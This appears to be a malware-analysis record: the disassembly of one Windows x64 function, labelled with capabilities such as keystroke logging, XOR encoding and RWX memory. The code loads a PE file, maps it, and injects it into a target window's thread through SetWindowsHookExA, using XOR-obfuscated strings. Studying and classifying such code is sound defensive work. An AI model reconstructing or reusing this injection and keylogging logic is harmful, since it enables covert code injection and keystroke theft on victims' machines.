Function at 0x1400045f0
Capabilities:
Access pe header
Allocate or change rwx memory
Encode data using xor
Get file size
Log keystrokes via application hook
Log keystrokes via polling
Read file on windows

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r15
lea rbp, [rsp - 0x2f]
sub rsp, 0xb8
mov rax, qword [0x14023db80]
xor rax, rsp
mov qword [rbp + 7], rax
mov rax, rdx
mov r15, rcx
xor esi, esi
xor r9d, r9d
mov qword [rsp + 0x30], rsi
xor r8d, r8d
mov dword [rsp + 0x28], 0x80
mov edx, 0x80000000
mov rcx, rax
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140004ec8
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov edx, eax
xor ecx, ecx
lea r9d, [rsi + 4]
mov ebx, eax
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor r9d, r9d
mov qword [rsp + 0x20], rsi
mov rdx, rax
mov r8d, ebx
mov rcx, rdi
mov r12, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14000469a
cmp dword [r12], 0x905a4d
je 0x1400046ab
xor edx, edx
mov r8d, 0x8000
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r12, r12
je 0x140004ec8
mov rcx, r12
mov qword [rsp + 0xb0], r14
call qword [sym.imp.ntdll.dll_RtlImageNtHeader]
mov r14, rax
test rax, rax
jne 0x14000476c
movabs rax, 0x196eb8ddcb586dc4
movabs rcx, 0x7818d6b4eb6208b4
mov qword [rbp - 0x49], rax
movabs rax, 0xbe7581c4e93261d8
mov qword [rbp - 0x41], rax
movabs rax, 0xfdd840c60ebe69d1
movdqa xmm0, xmmword [rbp - 0x49]
mov qword [rbp - 0x19], rcx
movabs rcx, 0xd655e4b4c95608b4
mov qword [rbp - 0x39], rax
movabs rax, 0x994928b4afae08b4
mov qword [rbp - 0x11], rcx
movabs rcx, 0xfdd84ab46bda08b4
xorps xmm0, xmmword [rbp - 0x19]
mov qword [rbp - 0x31], rax
movdqa xmm1, xmmword [rbp - 0x39]
mov qword [rbp - 9], rcx
lea rcx, [rbp - 0x49]
mov qword [rbp - 1], rax
xorps xmm1, xmmword [rbp - 9]
movdqa xmmword [rbp - 0x39], xmm1
movdqa xmmword [rbp - 0x49], xmm0
call fcn.140001930
xor al, al
jmp 0x140004b65
cmp byte [0x14007f62d], sil
mov eax, dword [str._VY]
movsd xmm0, qword [0x14007f620]
mov edi, dword [reloc.WS2_32.dll_accept]
mov dword [rbp - 0x41], eax
movzx eax, word [0x14007f62c]
mov qword [rsp + 0x100], r13
mov word [rbp - 0x3d], ax
movaps xmmword [rsp + 0xa0], xmm6
movsd qword [rbp - 0x49], xmm0
je 0x1400048ed
mov ecx, esi
cmp edi, 2
jl 0x1400048b3
movdqa xmm2, xmmword [0x14007f7b0]
mov ecx, 8
movdqa xmm4, xmmword [0x14007f800]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x14007f7c0]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14007f7d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [0x14007f620]
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14007f7e0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.1111111111111111O]
xorps xmm2, xmm0
punpckldq xmm1, xmm3
movd dword [rbp - 0x49], xmm2
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14007f7d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [rbp - 0x45]
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14007f7e0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.1111111111111111O]
xorps xmm2, xmm0
movd dword [rbp - 0x45], xmm2
movsxd rax, ecx
lea r8, [rbp - 0x49]
add r8, rax
nop dword [rax]
mov eax, 0x4ec4ec4f
lea r8, [r8 + 1]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
inc ecx
sub al, dl
add al, 0x31
xor byte [r8 - 1], al
cmp ecx, 0xe
jl 0x1400048c0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp - 0x49]
call fcn.1400022b0
mov dword [rbp - 0x21], esi
xor edx, edx
mov rcx, r15
call qword [sym.imp.USER32.dll_FindWindowA]
mov rcx, rax
lea rdx, [rbp - 0x21]
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov ecx, reloc.WS2_32.dll_sendto
mov r13d, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, dword [rbp - 0x21]
test ebx, ebx
je 0x140004900
mov ecx, dword [0x14007f640]
movzx eax, byte [0x14007f644]
mov dword [rbp - 9], ecx
mov ecx, esi
mov byte [rbp - 5], al
movups xmm0, xmmword [0x14007f630]
movups xmmword [rbp - 0x19], xmm0
cmp edi, 2
jl 0x140004a94
movdqa xmm0, xmmword [str.1111111111111111O]
lea rdx, [rbp - 0x15]
movdqa xmm5, xmmword [0x14007f7b0]
movdqa xmm4, xmmword [0x14007f800]
movdqa xmm6, xmmword [0x14007f7d0]
movdqa xmmword [rbp - 0x49], xmm0
mov r8d, dword [rbp - 0x49]
nop dword [rax]
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14007f7e0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14007f7e0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x10
jl 0x140004990
cmp ecx, 0x15
jge 0x140004acd
movsxd rax, ecx
lea r8, [rbp - 0x19]
add r8, rax
nop
mov eax, 0x4ec4ec4f
lea r8, [r8 + 1]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
inc ecx
sub al, dl
add al, 0x31
xor byte [r8 - 1], al
cmp ecx, 0x15
jl 0x140004aa0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp - 0x19]
call fcn.1400022b0
movaps xmm6, xmmword [rsp + 0xa0]
mov ecx, reloc.WS2_32.dll_WSACleanup
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x140004ae5
test r13d, r13d
je 0x140004e38
call fcn.140001f20
mov edx, ebx
mov rcx, rax
call fcn.140001be0
call fcn.140001f20
mov edx, dword [r14 + 0x50]
mov r8d, 0x40
mov rcx, rax
call fcn.140001b40
mov r8, r14
mov rdx, r12
mov rcx, rax
mov r15, rax
call fcn.140005f00
test eax, eax
je 0x140004b4b
mov r8, r14
mov rdx, r12
mov ecx, r13d
call fcn.140006090
test eax, eax
jne 0x140004b89
call fcn.140001f20
mov rdx, r15
mov rcx, rax
call fcn.140001bf0
xor al, al
mov r13, qword [rsp + 0x100]
mov r14, qword [rsp + 0xb0]
mov rcx, qword [rbp + 7]
xor rcx, rsp
call fcn.140079720
add rsp, 0xb8
pop r15
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
movzx ebx, word [r14 + 0x14]
movzx edi, si
add rbx, 0x2c
cmp si, word [r14 + 6]
jae 0x140004bcb
add rbx, r14
nop
call fcn.140001f20
mov r8d, dword [rbx]
mov rcx, rax
mov edx, dword [rbx - 8]
add r8, r12
mov r9d, dword [rbx - 4]
add rdx, r15
call fcn.140001f90
inc di
lea rbx, [rbx + 0x28]
cmp di, word [r14 + 6]
jb 0x140004ba0
movabs rax, 0x7874d6d0eb1608da
movabs rcx, 0x7818d6b4eb6208b4
mov qword [rbp - 0x49], rax
movabs rax, 0xd639e4d0c97808d8
mov qword [rbp - 0x41], rax
movabs rax, 0xfdd84ab46bda08d8
movdqa xmm0, xmmword [rbp - 0x49]
mov qword [rbp - 0x19], rcx
movabs rcx, 0xd655e4b4c95608b4
mov qword [rbp - 0x39], rax
movabs rax, 0x994928b4afae08b4
mov qword [rbp - 0x11], rcx
movabs rcx, 0xfdd84ab46bda08b4
xorps xmm0, xmmword [rbp - 0x19]
mov qword [rbp - 0x31], rax
movdqa xmm1, xmmword [rbp - 0x39]
mov qword [rbp - 9], rcx
lea rcx, [rbp - 0x49]
mov qword [rbp - 1], rax
xorps xmm1, xmmword [rbp - 9]
movdqa xmmword [rbp - 0x39], xmm1
movdqa xmmword [rbp - 0x49], xmm0
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbx, rax
call fcn.140001f20
mov edx, 0x1000
mov r8d, 0x40
mov rcx, rax
call fcn.140001b40
mov edx, reloc.WS2_32.dll_WSACleanup
mov qword [rbp - 0x21], rax
xor ecx, ecx
mov r8d, 0x3000
mov rdi, rax
lea r9d, [rdx - 0x70]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
movups xmm0, xmmword [0x1400e0540]
mov rdx, rax
mov qword [rbp - 0x29], rax
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400e0550]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [0x1400e0560]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [0x1400e0570]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [str.D__H]
movups xmmword [rax + 0x40], xmm0
movsd xmm1, qword [0x1400e0590]
movsd qword [rax + 0x50], xmm1
mov ecx, dword [0x1400e0598]
mov dword [rax + 0x58], ecx
lea rcx, [rdi + 0x5c]
mov eax, dword [reloc.WS2_32.dll_getsockname]
lea rdi, [rdx + 0x5c]
mov qword [rbp - 0x19], rcx
mov qword [rax + rdx], rcx
mov qword [rdi + 0x10], r15
mov eax, dword [r14 + 0x28]
add rax, r15
mov qword [rdi + 8], rax
call fcn.140001f20
mov r8, qword [rbp - 0x29]
mov r9d, reloc.WS2_32.dll_WSACleanup
mov rdx, qword [rbp - 0x21]
mov rcx, rax
call fcn.140001f90
mov rdx, qword [rbp - 0x21]
mov r9d, r13d
mov r8, rbx
mov ecx, 3
call qword [sym.imp.USER32.dll_SetWindowsHookExA]
cmp dword [rdi], 2
mov qword [rbp - 0x49], rax
je 0x140004d83
mov rbx, qword [rbp - 0x19]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, r13d
call qword [sym.imp.USER32.dll_PostThreadMessageA]
call fcn.140001f20
mov r9d, Ordinal_27
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140001e70
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [rdi], 2
jne 0x140004d45
mov rax, qword [rbp - 0x49]
mov rcx, rax
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
call fcn.140001f20
mov rdx, qword [rbp - 0x21]
mov rcx, rax
call fcn.140001bf0
mov rcx, qword [rbp - 0x29]
xor edx, edx
mov r8d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFree]
movzx ebx, word [r14 + 0x14]
add rbx, 0x28
cmp si, word [r14 + 6]
jae 0x140004e20
add rbx, r14
mov eax, dword [rbx]
test eax, eax
je 0x140004e12
test dword [rbx + 0x14], 0x2000000
je 0x140004e12
xor ecx, ecx
mov edx, eax
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
call fcn.140001f20
mov edx, dword [rbx - 4]
mov r8, rdi
mov r9d, dword [rbx]
add rdx, r15
mov rcx, rax
call fcn.140001f90
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
inc si
add rbx, 0x28
cmp si, word [r14 + 6]
jb 0x140004dc2
xor edx, edx
mov r8d, 0x8000
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov al, 1
jmp 0x140004b5d
movabs rax, 0x586ba5d1880d7ac4
movabs rcx, 0x7818d6b4eb6208b4
mov qword [rbp - 0x49], rax
movabs rax, 0xb8208bd2e92267da
mov qword [rbp - 0x41], rax
movabs rax, 0xfdd84ab46bd029d0
movdqa xmm0, xmmword [rbp - 0x49]
mov qword [rbp - 0x19], rcx
movabs rcx, 0xd655e4b4c95608b4
mov qword [rbp - 0x39], rax
movabs rax, 0x994928b4afae08b4
mov qword [rbp - 0x11], rcx
movabs rcx, 0xfdd84ab46bda08b4
xorps xmm0, xmmword [rbp - 0x19]
mov qword [rbp - 0x31], rax
movdqa xmm1, xmmword [rbp - 0x39]
mov qword [rbp - 9], rcx
lea rcx, [rbp - 0x49]
mov qword [rbp - 1], rax
xorps xmm1, xmmword [rbp - 9]
movdqa xmmword [rbp - 0x39], xmm1
movdqa xmmword [rbp - 0x49], xmm0
call fcn.140001930
jmp 0x140004b5b
movabs rax, 0x587cbfd88a1466dd
movabs rcx, 0x7818d6b4eb6208b4
mov qword [rbp - 0x49], rax
movabs rax, 0xd655e4b4c33a64d0
mov qword [rbp - 0x19], rcx
movabs rcx, 0xd655e4b4c95608b4
mov qword [rbp - 0x41], rax
movdqa xmm0, xmmword [rbp - 0x49]
mov qword [rbp - 0x11], rcx
lea rcx, [rbp - 0x49]
xorps xmm0, xmmword [rbp - 0x19]
movdqa xmmword [rbp - 0x49], xmm0
call fcn.140001930
xor al, al
jmp 0x140004b6d